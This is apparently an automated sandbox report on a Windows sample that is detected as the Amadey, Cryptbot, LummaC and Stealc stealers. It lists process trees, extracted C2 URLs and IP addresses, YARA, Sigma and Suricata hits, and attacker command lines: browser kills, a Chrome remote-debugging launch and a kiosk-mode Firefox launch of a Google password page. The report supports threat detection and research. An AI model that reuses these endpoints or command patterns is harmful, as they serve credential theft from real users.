Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561412
MD5:	fc20a6c027aad707aa48822ff845634f
SHA1:	c899fb0f23781c2059aa0b86628992f2f0a56eb8
SHA256:	4649973caf12dba324f3ae728a2547b8faaf5eeda88cc8943a0802098ce30782
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FC20A6C027AAD707AA48822FF845634F)

skotes.exe (PID: 3328 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: FC20A6C027AAD707AA48822FF845634F)

skotes.exe (PID: 2936 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FC20A6C027AAD707AA48822FF845634F)

skotes.exe (PID: 4192 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FC20A6C027AAD707AA48822FF845634F)

150f368769.exe (PID: 928 cmdline: "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe" MD5: BE3A1A14663876AD1FAFA3F52FD20337)

chrome.exe (PID: 7720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8168 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,3370209604487546096,5591142597664395409,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

22a4a09ee3.exe (PID: 6244 cmdline: "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe" MD5: DE62E1ACDA0525F44272ADAFB066C752)

8c3bfc0f85.exe (PID: 3352 cmdline: "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe" MD5: ABFA1D44AF50A6A065CF1029652FE4FD)

chrome.exe (PID: 6164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4272 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

9108c36d20.exe (PID: 3260 cmdline: "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe" MD5: 957D7A3741F63830407A37A58E741751)

taskkill.exe (PID: 3004 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1804 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4584 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3468 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 744 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1228 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

99fdcf0a11.exe (PID: 7844 cmdline: "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe" MD5: E46E731F878971F3BC5F5CF8FAD84AA5)

22a4a09ee3.exe (PID: 5272 cmdline: "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe" MD5: DE62E1ACDA0525F44272ADAFB066C752)

firefox.exe (PID: 1732 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6200 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3140 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2232 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b905026f-7fb0-48f4-bda0-0aaae8364398} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5c9b6e510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7828 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4108 -parentBuildID 20230927232528 -prefsHandle 2844 -prefMapHandle 4104 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3515d1b8-cb3f-4c13-9976-c2ba99fe0412} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5dbdabf10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8c3bfc0f85.exe (PID: 5852 cmdline: "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe" MD5: ABFA1D44AF50A6A065CF1029652FE4FD)

9108c36d20.exe (PID: 7460 cmdline: "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe" MD5: 957D7A3741F63830407A37A58E741751)

taskkill.exe (PID: 7492 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

99fdcf0a11.exe (PID: 7792 cmdline: "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe" MD5: E46E731F878971F3BC5F5CF8FAD84AA5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2645427733.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1703329392.0000000004970000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1743497306.0000000000181000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1729066323.0000000005040000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2756243278.00000000015FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.3014909810.0000000000131000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2753258995.00000000015EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2666933055.000000000111A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2695267530.000000000111E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2297023080.0000000004800000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2703581543.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2642092712.000000000111D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2698732554.000000000112C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1732120363.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2785242798.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1772246727.0000000000011000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.3014657915.0000000000131000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2616116061.000000000111E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1769268750.0000000000011000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2614684453.000000000111B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 22a4a09ee3.exe PID: 6244	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 22a4a09ee3.exe PID: 6244	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 22a4a09ee3.exe PID: 6244	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8c3bfc0f85.exe PID: 3352	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8c3bfc0f85.exe PID: 3352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8c3bfc0f85.exe PID: 3352	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 22a4a09ee3.exe PID: 5272	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 22a4a09ee3.exe PID: 5272	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9108c36d20.exe PID: 3260	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 8c3bfc0f85.exe PID: 5852	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8c3bfc0f85.exe PID: 5852	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4192, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\22a4a09ee3.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe, ParentProcessId: 3352, ParentProcessName: 8c3bfc0f85.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6164, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4192, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\22a4a09ee3.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:30.211490+0100	2028371	3	Unknown Traffic	192.168.2.4	49815	172.67.162.84	443	TCP
2024-11-23T11:22:32.370809+0100	2028371	3	Unknown Traffic	192.168.2.4	49821	172.67.162.84	443	TCP
2024-11-23T11:22:34.748672+0100	2028371	3	Unknown Traffic	192.168.2.4	49827	172.67.162.84	443	TCP
2024-11-23T11:22:37.443971+0100	2028371	3	Unknown Traffic	192.168.2.4	49834	172.67.162.84	443	TCP
2024-11-23T11:22:40.366745+0100	2028371	3	Unknown Traffic	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T11:22:43.162777+0100	2028371	3	Unknown Traffic	192.168.2.4	49849	172.67.162.84	443	TCP
2024-11-23T11:22:43.293764+0100	2028371	3	Unknown Traffic	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T11:22:45.454852+0100	2028371	3	Unknown Traffic	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T11:22:45.843137+0100	2028371	3	Unknown Traffic	192.168.2.4	49860	172.67.162.84	443	TCP
2024-11-23T11:22:50.052695+0100	2028371	3	Unknown Traffic	192.168.2.4	49884	172.67.162.84	443	TCP
2024-11-23T11:22:51.987748+0100	2028371	3	Unknown Traffic	192.168.2.4	49893	172.67.162.84	443	TCP
2024-11-23T11:22:52.630893+0100	2028371	3	Unknown Traffic	192.168.2.4	49897	172.67.162.84	443	TCP
2024-11-23T11:22:56.914283+0100	2028371	3	Unknown Traffic	192.168.2.4	49918	172.67.162.84	443	TCP
2024-11-23T11:23:02.945191+0100	2028371	3	Unknown Traffic	192.168.2.4	49941	172.67.162.84	443	TCP
2024-11-23T11:23:06.836503+0100	2028371	3	Unknown Traffic	192.168.2.4	49952	172.67.162.84	443	TCP
2024-11-23T11:23:10.006996+0100	2028371	3	Unknown Traffic	192.168.2.4	49964	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:31.050117+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49815	172.67.162.84	443	TCP
2024-11-23T11:22:33.115478+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49821	172.67.162.84	443	TCP
2024-11-23T11:22:43.990795+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T11:22:46.155168+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T11:22:52.839537+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49893	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:31.050117+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49815	172.67.162.84	443	TCP
2024-11-23T11:22:43.990795+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49850	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:33.115478+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49821	172.67.162.84	443	TCP
2024-11-23T11:22:46.155168+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49856	172.67.162.84	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:54.328214+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49908	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:21.336668+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49788	185.215.113.43	80	TCP
2024-11-23T11:22:29.668114+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49809	185.215.113.43	80	TCP
2024-11-23T11:22:38.362720+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49835	185.215.113.43	80	TCP
2024-11-23T11:22:45.702738+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49857	185.215.113.43	80	TCP
2024-11-23T11:22:56.245245+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49916	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:46.824872+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49864	34.116.198.130	80	TCP
2024-11-23T11:22:48.932344+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49881	34.116.198.130	80	TCP
2024-11-23T11:23:20.656685+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50004	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:40.216235+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49836	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:40.092603+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49836	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:40.545621+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49836	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:42.589373+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49836	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:40.871492+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49836	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:38.324296+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49834	172.67.162.84	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:39.643197+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49836	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:05.521064+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:19.889260+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T11:22:10.057987+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	31.41.244.11	80	TCP
2024-11-23T11:22:22.792767+0100	2803305	3	Unknown Traffic	192.168.2.4	49793	185.215.113.16	80	TCP
2024-11-23T11:22:31.168266+0100	2803305	3	Unknown Traffic	192.168.2.4	49816	185.215.113.16	80	TCP
2024-11-23T11:22:39.962091+0100	2803305	3	Unknown Traffic	192.168.2.4	49842	185.215.113.16	80	TCP
2024-11-23T11:22:47.219224+0100	2803305	3	Unknown Traffic	192.168.2.4	49865	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
